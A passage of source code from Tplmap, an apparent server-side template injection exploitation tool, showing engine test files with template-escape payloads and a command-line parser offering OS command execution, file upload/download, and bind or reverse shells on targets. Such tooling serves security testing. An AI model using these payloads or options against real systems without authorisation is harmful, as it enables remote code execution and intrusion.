'1""":#\n', 'suffix' : '\n' }), 131 | (5, 5, '%% if (1, %s)==1:\n%% endif', { 'prefix' : '1):#\n', 'suffix' : '\n' }), 132 | (5, 5, '%% if (1, \'%s\')==1:\n%% endif', { 'prefix' : '1\'):#\n', 'suffix' : '\n' }), 133 | (5, 5, '%% if (1, "%s")==1:\n%% endif', { 'prefix' : '1"):#\n', 'suffix' : '\n' }), 134 | (5, 5, '%% if (1, """%s""")==1:\n%% endif', { 'prefix' : '1"""):#\n', 'suffix' : '\n' }), 135 | 136 | (5, 5, '%% if [%s]==1:\n%% endif', { 'prefix' : '1]:#\n', 'suffix' : '\n' }), 137 | (5, 5, '%% if [\'%s\']==1:\n%% endif', { 'prefix' : '1\']:#\n', 'suffix' : '\n' }), 138 | (5, 5, '%% if ["%s"]==1:\n%% endif', { 'prefix' : '1"]:#\n', 'suffix' : '\n' }), 139 | (5, 5, '%% if ["""%s"""]==1:\n%% endif', { 'prefix' : '1"""]:#\n', 'suffix' : '\n' }), 140 | (5, 5, '%% if (1, [%s])==1:\n%% endif', { 'prefix' : '1]):#\n', 'suffix' : '\n' }), 141 | (5, 5, '%% if (1, [\'%s\'])==1:\n%% endif', { 'prefix' : '1\']):#\n', 'suffix' : '\n' }), 142 | (5, 5, '%% if (1, ["%s"])==1:\n%% endif', { 'prefix' : '1"]):#\n', 'suffix' : '\n' }), 143 | 144 | (5, 5, '%% if (1, ["""%s"""])==1:\n%% endif', { 'prefix' : '1"""]):#\n', 'suffix' : '\n' }), 145 | 146 | (5, 5, '%% for a in {%s}:\n%% endfor', { 'prefix' : '1}:#\n', 'suffix' : '\n' }), 147 | (5, 5, '%% if {%s:1}==1:\n%% endif', { 'prefix' : '1}:#\n', 'suffix' : '\n' }), 148 | (5, 5, '%% if {\'%s\':1}==1:\n%% endif', { 'prefix' : '1\'}:#\n', 'suffix' : '\n' }), 149 | (5, 5, '%% if {"%s":1}==1:\n%% endif', { 'prefix' : '1"}:#\n', 'suffix' : '\n' }), 150 | (5, 5, '%% if {"""%s""":1}==1:\n%% endif', { 'prefix' : '1"""}:#\n', 'suffix' : '\n' }), 151 | (5, 5, '%% if {1:%s}==1:\n%% endif', { 'prefix' : '1}:#\n', 'suffix' : '\n' }), 152 | (5, 5, '%% if {1:\'%s\'}==1:\n%% endif', { 'prefix' : '1\'}:#\n', 'suffix' : '\n' }), 153 | (5, 5, '%% if {1:"%s"}==1:\n%% endif', { 'prefix' : '1"}:#\n', 'suffix' : '\n' }), 154 | (5, 5, '%% if {1:"""%s"""}==1:\n%% endif', { 'prefix' : '1"""}:#\n', 'suffix' : '\n' }), 155 | 156 | # Mako blocks. Skip <%block> which doesn't seem affecting the standard inj 157 | # Inejcting includes e.g. '<%%include file="%s"/>' generates a missing file exception 158 | (5, 1, '<%%doc> %s ', { 'prefix' : '', 'suffix' : '<%doc>' }), 159 | #(5, 1, '<%%def name="a(x)"> %s ', { 'prefix' : '', 'suffix' : '<%def name="t(x)">' }), 160 | (5, 1, '<%%text> %s ', { 'prefix' : '', 'suffix' : '<%text>' }), 161 | 162 | ] 163 | 164 | def test_reflection_limit(self): 165 | template = '%s' 166 | 167 | channel = Channel({ 168 | 'url' : 'http://127.0.0.1:15001/limit/mako?tpl=%s&inj=*&limit=20' % template, 169 | 'injection_tag': '*', 170 | 'technique': 'R' 171 | }) 172 | 173 | Mako(channel).detect() 174 | 175 | expected_data = { 'unreliable_render' : self.expected_data['render'], 'unreliable' : 'Mako' } 176 | 177 | self.assertEqual(channel.data, expected_data) 178 | -------------------------------------------------------------------------------- /tests/test_py_python.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.languages.python import Python 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | 14 | class PythonTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'python', 18 | 'engine': 'python', 19 | 'evaluate' : 'python' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': """str(%(code)s)""", 26 | 'header': """'%(header)s'+""", 27 | 'trailer': """+'%(trailer)s'""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'python', 34 | 'engine': 'python', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'python', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://localhost:15001/reflect/eval?inj=*&tpl=%s' 46 | url_blind = 'http://localhost:15001/blind/eval?inj=*&tpl=%s' 47 | plugin = Python 48 | 49 | blind_tests = [ 50 | (0, 0, '%s', {}), 51 | ] 52 | 53 | reflection_tests = [ 54 | (0, 0, '%s', {}), 55 | ] 56 | -------------------------------------------------------------------------------- /tests/test_py_tornado.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(10, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.tornado import Tornado 9 | from core.channel import Channel 10 | from utils import rand 11 | from utils import strings 12 | from basetest import BaseTest 13 | 14 | class TornadoTest(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'python', 18 | 'engine': 'tornado', 19 | 'evaluate' : 'python' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix': '', 24 | 'suffix': '', 25 | 'trailer': '{{%(trailer)s}}', 26 | 'header': '{{%(header)s}}', 27 | 'render': '{{%(code)s}}', 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'python', 34 | 'engine': 'tornado', 35 | 'evaluate_blind': 'python', 36 | 'execute_blind': True, 37 | 'write': True, 38 | 'blind': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://127.0.0.1:15001/reflect/tornado?tpl=%s&inj=*' 46 | url_blind = 'http://127.0.0.1:15001/blind/tornado?tpl=%s&inj=*' 47 | 48 | plugin = Tornado 49 | 50 | blind_tests = [ 51 | (0, 0, 'AAA%sAAA', {}), 52 | (1, 2, '{%% for a in %s %%}\n{%% end %%}', { 'prefix' : '"1"%}', 'suffix' : '' }), 53 | ] 54 | reflection_tests = [ 55 | (0, 0, '%s', {}), 56 | (0, 0, 'AAA%sAAA', {}), 57 | 58 | # Reflecting tag ${} context 59 | (1, 1, '{{%s}}', { 'prefix': '1}}', 'suffix' : '' }), 60 | (1, 1, '{{ \'%s\' }}', { 'prefix': '1\'}}', 'suffix' : '' }), 61 | (1, 1, '{{ "%s" }}', { 'prefix': '1"}}', 'suffix' : '' }), 62 | (1, 3, '{{ """%s""" }}', { 'prefix': '1"""}}', 'suffix' : '' }), # {{"""%s"""}} -> {{"""1"}} 63 | 64 | (1, 4, '{{[%s]}}', { 'prefix': '1]}}', 'suffix' : '' }), 65 | (1, 3, '{{ [\'%s\'] }}', { 'prefix': '1\']}}', 'suffix' : '' }), 66 | (1, 3, '{{ ["%s"] }}', { 'prefix': '1"]}}', 'suffix' : '' }), 67 | (1, 3, '{{ ["""%s"""] }}', { 'prefix': '1"""]}}', 'suffix' : '' }), # {{["""%s"""]}} -> {{["""1"]}} 68 | 69 | # # if and for blocks context with {% %} 70 | (1, 1, '{%% if %s: %%}\n{%% end %%}', { 'prefix' : '1%}', 'suffix' : '' }), 71 | (1, 2, '{%% for a in %s: %%}\n{%% end %%}', { 'prefix' : '"1"%}', 'suffix' : '' }), 72 | (1, 1, '{%% if %s==1 %%}\n{%% end %%}', { 'prefix' : '1%}', 'suffix' : '' }), 73 | (1, 1, '{%% if \'%s\'==1 %%}\n{%% end %%}', { 'prefix' : '1\'%}', 'suffix' : '' }), 74 | (1, 1, '{%% if "%s"==1 %%}\n{%% end %%}', { 'prefix' : '1"%}', 'suffix' : '' }), 75 | (1, 3, '{%% if """%s"""==1 %%}\n{%% end %%}', { 'prefix' : '1"""%}', 'suffix' : '' }), # if """%s""": -> if """1": 76 | (1, 2, '{%% if (1, %s)==1 %%}\n{%% end %%}', { 'prefix' : '1)%}', 'suffix' : '' }), 77 | (1, 2, '{%% if (1, \'%s\')==1 %%}\n{%% end %%}', { 'prefix' : '1\')%}', 'suffix' : '' }), 78 | (1, 2, '{%% if (1, "%s")==1 %%}\n{%% end %%}', { 'prefix' : '1")%}', 'suffix' : '' }), 79 | (1, 3, '{%% if (1, """%s""")==1 %%}\n{%% end %%}', { 'prefix' : '1""")%}', 'suffix' : '' }), # if (1, """%s"""): -> if (1, """1"): 80 | 81 | (1, 3, '{%% if [%s]==1 %%}\n{%% end %%}', { 'prefix' : '1]%}', 'suffix' : '' }), 82 | (1, 3, '{%% if [\'%s\']==1 %%}\n{%% end %%}', { 'prefix' : '1\']%}', 'suffix' : '' }), 83 | (1, 3, '{%% if ["%s"]==1 %%}\n{%% end %%}', { 'prefix' : '1"]%}', 'suffix' : '' }), 84 | (1, 3, '{%% if ["""%s"""]==1 %%}\n{%% end %%}', { 'prefix' : '1"""]%}', 'suffix' : '' }), # if ["""%s"""]: -> if ["""1"]: 85 | (1, 5, '{%% if (1, [%s])==1 %%}\n{%% end %%}', { 'prefix' : '1])%}', 'suffix' : '' }), 86 | (1, 5, '{%% if (1, [\'%s\'])==1 %%}\n{%% end %%}', { 'prefix' : '1\'])%}', 'suffix' : '' }), 87 | (1, 5, '{%% if (1, ["%s"])==1 %%}\n{%% end %%}', { 'prefix' : '1"])%}', 'suffix' : '' }), 88 | (1, 5, '{%% if (1, ["""%s"""])==1 %%}\n{%% end %%}', { 'prefix' : '1"""])%}', 'suffix' : '' }), # if (1, ["""%s"""]): -> if (1, ["""1"]): 89 | 90 | (1, 3, '{%% for a in {%s} %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }), 91 | (1, 3, '{%% if {%s:1}==1 %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }), 92 | (1, 3, '{%% if {\'%s\':1}==1 %%}\n{%% end %%}', { 'prefix' : '1\'}%}', 'suffix' : '' }), 93 | (1, 3, '{%% if {"%s":1}==1 %%}\n{%% end %%}', { 'prefix' : '1"}%}', 'suffix' : '' }), 94 | (1, 3, '{%% if {"""%s""":1}==1 %%}\n{%% end %%}', { 'prefix' : '1"""}%}', 'suffix' : '' }), # if {"""%s""":1}: -> if {"""1":1}: 95 | (1, 3, '{%% if {1:%s}==1 %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }), 96 | (1, 3, '{%% if {1:\'%s\'}==1 %%}\n{%% end %%}', { 'prefix' : '1\'}%}', 'suffix' : '' }), 97 | (1, 3, '{%% if {1:"%s"}==1 %%}\n{%% end %%}', { 'prefix' : '1"}%}', 'suffix' : '' }), 98 | (1, 3, '{%% if {1:"""%s"""}==1 %%}\n{%% end %%}', { 'prefix' : '1"""}%}', 'suffix' : '' }), # if {1:"""%s""":1}: -> if {1:"""1"}: 99 | 100 | 101 | # # Comment blocks 102 | (5, 1, '{# %s #}', { 'prefix' : '#}', 'suffix' : '{#' }), 103 | 104 | ] 105 | -------------------------------------------------------------------------------- /tests/test_ruby_erb.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.erb import Erb 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | 14 | class ErbTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'ruby', 18 | 'engine': 'erb', 19 | 'evaluate' : 'ruby' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': '"#{%(code)s}"', 26 | 'header': """<%%= '%(header)s'+""", 27 | 'trailer': """+'%(trailer)s' %%>""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'ruby', 34 | 'engine': 'erb', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'ruby', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://localhost:15005/reflect/erb?inj=*&tpl=%s' 46 | url_blind = 'http://localhost:15005/blind/erb?inj=*&tpl=%s' 47 | plugin = Erb 48 | 49 | #TODO: write context escape tests 50 | blind_tests = [ 51 | (0, 0, '%s', {}), 52 | ] 53 | 54 | reflection_tests = [ 55 | (0, 0, '%s', {}), 56 | ] 57 | -------------------------------------------------------------------------------- /tests/test_ruby_ruby.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.languages.ruby import Ruby 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | 14 | class RubyTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'ruby', 18 | 'engine': 'ruby', 19 | 'evaluate' : 'ruby' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': '"#{%(code)s}"', 26 | 'header': """'%(header)s'+""", 27 | 'trailer': """+'%(trailer)s'""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'ruby', 34 | 'engine': 'ruby', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'ruby', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://localhost:15005/reflect/eval?inj=*&tpl=%s' 46 | url_blind = 'http://localhost:15005/blind/eval?inj=*&tpl=%s' 47 | plugin = Ruby 48 | 49 | blind_tests = [ 50 | (0, 0, '%s', {}), 51 | ] 52 | 53 | reflection_tests = [ 54 | (0, 0, '%s', {}), 55 | ] 56 | -------------------------------------------------------------------------------- /tests/test_ruby_slim.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.slim import Slim 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | 14 | class SlimTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'ruby', 18 | 'engine': 'slim', 19 | 'evaluate' : 'ruby' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': '"#{%(code)s}"', 26 | 'header': """=('%(header)s'+""", 27 | 'trailer': """+'%(trailer)s')""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'ruby', 34 | 'engine': 'slim', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'ruby', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://localhost:15005/reflect/slim?inj=*&tpl=%s' 46 | url_blind = 'http://localhost:15005/blind/slim?inj=*&tpl=%s' 47 | plugin = Slim 48 | 49 | #TODO: write context escape tests 50 | blind_tests = [ 51 | (0, 0, '%s', {}), 52 | ] 53 | 54 | reflection_tests = [ 55 | (0, 0, '%s', {}), 56 | ] 57 | -------------------------------------------------------------------------------- /tests/tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | cd "$( dirname "${BASH_SOURCE[0]}" )" 4 | 5 | for SCRIPT in ./run_*sh 6 | do 7 | if [ -f $SCRIPT -a -x $SCRIPT ] 8 | then 9 | echo -e "\n## Running $SCRIPT" 10 | bash -e $SCRIPT --test 11 | fi 12 | done -------------------------------------------------------------------------------- /tplmap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from utils import cliparser 3 | from core import checks 4 | from core.channel import Channel 5 | from utils.loggers import log 6 | import traceback 7 | 8 | version = '0.5' 9 | 10 | def main(): 11 | 12 | args = vars(cliparser.options) 13 | 14 | if not args.get('url'): 15 | cliparser.parser.error('URL is required. Run with -h for help.') 16 | 17 | # Add version 18 | args['version'] = version 19 | 20 | checks.check_template_injection(Channel(args)) 21 | 22 | if __name__ == '__main__': 23 | 24 | log.info(cliparser.banner % version) 25 | 26 | try: 27 | main() 28 | except (KeyboardInterrupt): 29 | log.info('Exiting.') 30 | except Exception as e: 31 | log.critical('Exiting: %s' % e) 32 | log.debug(traceback.format_exc()) 33 | -------------------------------------------------------------------------------- /utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/utils/__init__.py -------------------------------------------------------------------------------- /utils/cliparser.py: -------------------------------------------------------------------------------- 1 | from optparse import OptionGroup 2 | from optparse import OptionParser 3 | 4 | import os 5 | import sys 6 | 7 | _ = os.path.normpath(sys.argv[0]) 8 | 9 | banner = """Tplmap %s 10 | Automatic Server-Side Template Injection Detection and Exploitation Tool 11 | """ 12 | usage = "python %prog [options]" 13 | epilog = """ 14 | Example: 15 | 16 | ./tplmap -u 'http://www.target.com/page.php?id=1*' 17 | 18 | """ 19 | 20 | class MyParser(OptionParser): 21 | def format_epilog(self, formatter): 22 | return self.epilog 23 | 24 | parser = MyParser(usage=usage, epilog=epilog) 25 | 26 | # Target options 27 | target = OptionGroup(parser, "Target", "These options have to be provided, to define the target URL. ") 28 | 29 | target.add_option("-u","--url", 30 | action="store", 31 | dest="url", 32 | help="Target URL.") 33 | 34 | # Request options 35 | request = OptionGroup(parser, "Request", "These options have how to connect and where to inject to the target URL.") 36 | 37 | request.add_option("-d","--data", 38 | dest="data", 39 | help="Data string to be sent through POST. It must be as query string: param1=value1¶m2=value2.", 40 | ) 41 | 42 | request.add_option("-H","--headers", 43 | action="append", 44 | dest="headers", 45 | help="Extra headers (e.g. 'Header1: Value1'). Use multiple times to add new headers.", 46 | default=[]) 47 | 48 | request.add_option("-c","--cookie", 49 | action="append", 50 | dest="cookies", 51 | help="Cookies (e.g. 'Field1=Value1'). Use multiple times to add new cookies.", 52 | default=[]) 53 | 54 | target.add_option("-X","--request", 55 | action="store", 56 | dest="request", 57 | help="Force usage of given HTTP method (e.g. PUT).") 58 | 59 | request.add_option("-A","--user-agent", 60 | dest="user_agent", 61 | help="HTTP User-Agent header value." 62 | ) 63 | request.add_option("--proxy", 64 | dest="proxy", 65 | help="Use a proxy to connect to the target URL" 66 | ) 67 | 68 | # Detection options 69 | detection = OptionGroup(parser, "Detection" , "These options can be used to customize the detection phase.") 70 | 71 | detection.add_option("--level", 72 | dest="level", 73 | type="int", 74 | default=0, 75 | help="Level of code context escape to perform (1-5, Default: 1).") 76 | 77 | detection.add_option("-e", "--engine", 78 | dest="engine", 79 | help="Force back-end template engine to this value.") 80 | 81 | detection.add_option("-t", "--technique", 82 | dest="technique", 83 | help="Techniques R(endered) T(ime-based blind). Default: RT.", 84 | default="RT") 85 | 86 | # Template inspection options 87 | tplcmd = OptionGroup(parser, "Template inspection", "These " 88 | "options can be used to inspect the " 89 | "template engine.") 90 | 91 | tplcmd.add_option("--tpl-shell", dest="tpl_shell", 92 | action="store_true", 93 | help="Prompt for an interactive shell " 94 | "on the template engine.") 95 | 96 | tplcmd.add_option("--tpl-code", dest="tpl_code", 97 | help="Inject code in the template engine.") 98 | 99 | # OS access options 100 | oscmd = OptionGroup(parser, "Operating system access", "These " 101 | "options can be used to access the underlying " 102 | "operating system.") 103 | 104 | oscmd.add_option("--os-cmd", dest="os_cmd", 105 | help="Execute an operating system command.") 106 | 107 | oscmd.add_option("--os-shell", dest="os_shell", 108 | action="store_true", 109 | help="Prompt for an interactive operating " 110 | "system shell.") 111 | 112 | oscmd.add_option("--upload", dest="upload", 113 | help="Upload LOCAL to REMOTE files.", 114 | nargs=2) 115 | 116 | oscmd.add_option("--force-overwrite", dest="force_overwrite", 117 | action="store_true", 118 | help="Force file overwrite when uploading.") 119 | 120 | oscmd.add_option("--download", dest="download", 121 | help="Download REMOTE to LOCAL files.", 122 | nargs=2) 123 | 124 | oscmd.add_option("--bind-shell", dest="bind_shell", 125 | nargs=1, 126 | type=int, 127 | help="Spawn a system shell on a TCP PORT of the target and connect to it.") 128 | 129 | oscmd.add_option("--reverse-shell", dest="reverse_shell", 130 | nargs=2, 131 | help="Run a system shell and back-connect to local HOST PORT.") 132 | 133 | # OS access options 134 | general = OptionGroup(parser, "General", "These " 135 | "options can be used to set some general working parameters.") 136 | 137 | general.add_option("--force-level", dest="force_level", 138 | help="Force a LEVEL and CLEVEL to test.", 139 | nargs=2) 140 | 141 | general.add_option("--injection-tag", dest="injection_tag", 142 | help="Use string as injection tag (default '*').", 143 | default='*') 144 | 145 | parser.add_option_group(target) 146 | parser.add_option_group(request) 147 | parser.add_option_group(detection) 148 | parser.add_option_group(oscmd) 149 | parser.add_option_group(tplcmd) 150 | parser.add_option_group(general) 151 | 152 | """ 153 | Dirty hack from sqlmap [1], to display longer options without breaking into two lines. 154 | [1] https://github.com/sqlmapproject/sqlmap/blob/fdc8e664dff305aca19acf143c7767b9a7626881/lib/parse/cmdline.py 155 | """ 156 | def _(self, *args): 157 | _ = parser.formatter._format_option_strings(*args) 158 | if len(_) > 18: 159 | _ = ("%%.%ds.." % (18 - parser.formatter.indent_increment)) % _ 160 | return _ 161 | 162 | parser.formatter._format_option_strings = parser.formatter.format_option_strings 163 | parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) 164 | 165 | option = parser.get_option("-h") 166 | option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.") 167 | 168 | (options, args) = parser.parse_args() 169 | -------------------------------------------------------------------------------- /utils/closures.py: -------------------------------------------------------------------------------- 1 | # Shared closures 2 | 3 | close_single_duble_quotes = [ '1\'', '1"' ] 4 | integer = [ '1' ] 5 | string = [ '"1"' ] 6 | close_dict = [ '}', ':1}' ] 7 | close_function = [ ')' ] 8 | close_list = [ ']' ] 9 | empty = [ '' ] 10 | 11 | # Python triple quotes and if and for loop termination. 12 | close_triple_quotes = [ '1"""' ] 13 | if_loops = [ ':' ] 14 | 15 | # Javascript needs this to bypass assignations 16 | var = [ 'a' ] 17 | 18 | # Java needs booleans to bypass conditions and iterable objects 19 | true_var = [ 'true' ] 20 | iterable_var = [ '[1]' ] -------------------------------------------------------------------------------- /utils/config.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import yaml 4 | 5 | config = None 6 | 7 | config_folder = os.path.dirname(os.path.realpath(__file__)) 8 | 9 | # TODO: fix this 10 | with open(config_folder + "/../config.yml", 'r') as stream: 11 | try: 12 | config = yaml.load(stream, Loader=yaml.SafeLoader) 13 | except yaml.YAMLError as e: 14 | # logger is not yet loaded, print it roughly 15 | print('[!][%s] %s' % ('config', e)) 16 | 17 | base_path = os.path.expanduser(config["base_path"]) 18 | log_response = config["log_response"] 19 | time_based_blind_delay = config["time_based_blind_delay"] 20 | 21 | if not os.path.isdir(base_path): 22 | os.makedirs(base_path) 23 | 24 | 25 | -------------------------------------------------------------------------------- /utils/loggers.py: -------------------------------------------------------------------------------- 1 | import logging.handlers 2 | import logging 3 | import sys 4 | import utils.config 5 | import os 6 | 7 | log = None 8 | logfile = None 9 | 10 | class TplmapFormatter(logging.Formatter): 11 | 12 | FORMATS = { 13 | # logging.DEBUG :"[D][%(module)s.%(funcName)s:%(lineno)d] %(message)s", 14 | logging.DEBUG: "[D][%(module)s] %(message)s", 15 | logging.INFO: "[+] %(message)s", 16 | logging.WARNING: "[*][%(module)s] %(message)s", 17 | logging.ERROR: "[-][%(module)s] %(message)s", 18 | logging.CRITICAL: "[!][%(module)s] %(message)s", 19 | 'DEFAULT': "[%(levelname)s] %(message)s"} 20 | 21 | def format(self, record): 22 | self._fmt = self.FORMATS.get(record.levelno, self.FORMATS['DEFAULT']) 23 | return logging.Formatter.format(self, record) 24 | 25 | if not os.path.isdir(utils.config.base_path): 26 | os.makedirs(utils.config.base_path) 27 | 28 | """Initialize the handler to dump log to files""" 29 | log_path = os.path.join(utils.config.base_path, 'tplmap.log') 30 | file_handler = logging.handlers.RotatingFileHandler( 31 | log_path, 32 | mode='a', 33 | maxBytes=5*1024*1024, 34 | backupCount=2, 35 | encoding=None, 36 | delay=0 37 | ) 38 | file_handler.setFormatter(TplmapFormatter()) 39 | 40 | """Initialize the normal handler""" 41 | stream_handler = logging.StreamHandler(stream=sys.stdout) 42 | stream_handler.setFormatter(TplmapFormatter()) 43 | 44 | """Initialize the standard logger""" 45 | log = logging.getLogger('log') 46 | log.addHandler(file_handler) 47 | log.addHandler(stream_handler) 48 | # We can set the a different level for to the two handlers, 49 | # but the global has to be set to the lowest. Fair enough. 50 | log.setLevel(logging.DEBUG) 51 | file_handler.setLevel(logging.DEBUG) 52 | stream_handler.setLevel(logging.INFO) 53 | 54 | """Initialize the debug logger, that dumps just to logfile""" 55 | dlog = logging.getLogger('dlog') 56 | dlog.addHandler(file_handler) 57 | dlog.setLevel(logging.INFO) 58 | -------------------------------------------------------------------------------- /utils/rand.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import sys 4 | 5 | 6 | def randint_n(n): 7 | 8 | # If the length is 1, starts from 2 to avoid 9 | # number repetition on evaluation e.g. 1*8=8 10 | # creating false positives 11 | 12 | if n == 1: 13 | range_start = 2 14 | else: 15 | range_start = 10**(n-1) 16 | 17 | range_end = (10**n)-1 18 | return random.randint(range_start, range_end) 19 | 20 | if sys.version_info.major > 2 : 21 | letters = string.ascii_letters 22 | else : 23 | letters = string.letters 24 | 25 | def randstr_n(n, chars=letters + string.digits): 26 | return ''.join( 27 | random.choice(chars) for _ in range(n) 28 | ) 29 | 30 | # Generate static random integers 31 | # to help filling actions['render'] 32 | randints = [ 33 | randint_n(2) for n in range(3) 34 | ] 35 | 36 | # Generate static random integers 37 | # to help filling actions['render'] 38 | randstrings = [ 39 | randstr_n(2) for n in range(3) 40 | ] 41 | -------------------------------------------------------------------------------- /utils/strings.py: -------------------------------------------------------------------------------- 1 | import json 2 | import base64 3 | import hashlib 4 | 5 | def quote(command): 6 | return command.replace("\\", "\\\\").replace("\"", "\\\"") 7 | 8 | def base64encode(data): 9 | return base64.b64encode(data) 10 | 11 | def base64decode(data): 12 | return base64.b64decode(data) 13 | 14 | def chunkit( seq, n ): 15 | """A generator to divide a sequence into chunks of n units.""" 16 | while seq: 17 | yield seq[:n] 18 | seq = seq[n:] 19 | 20 | def md5(data): 21 | return hashlib.md5(data).hexdigest() 22 | --------------------------------------------------------------------------------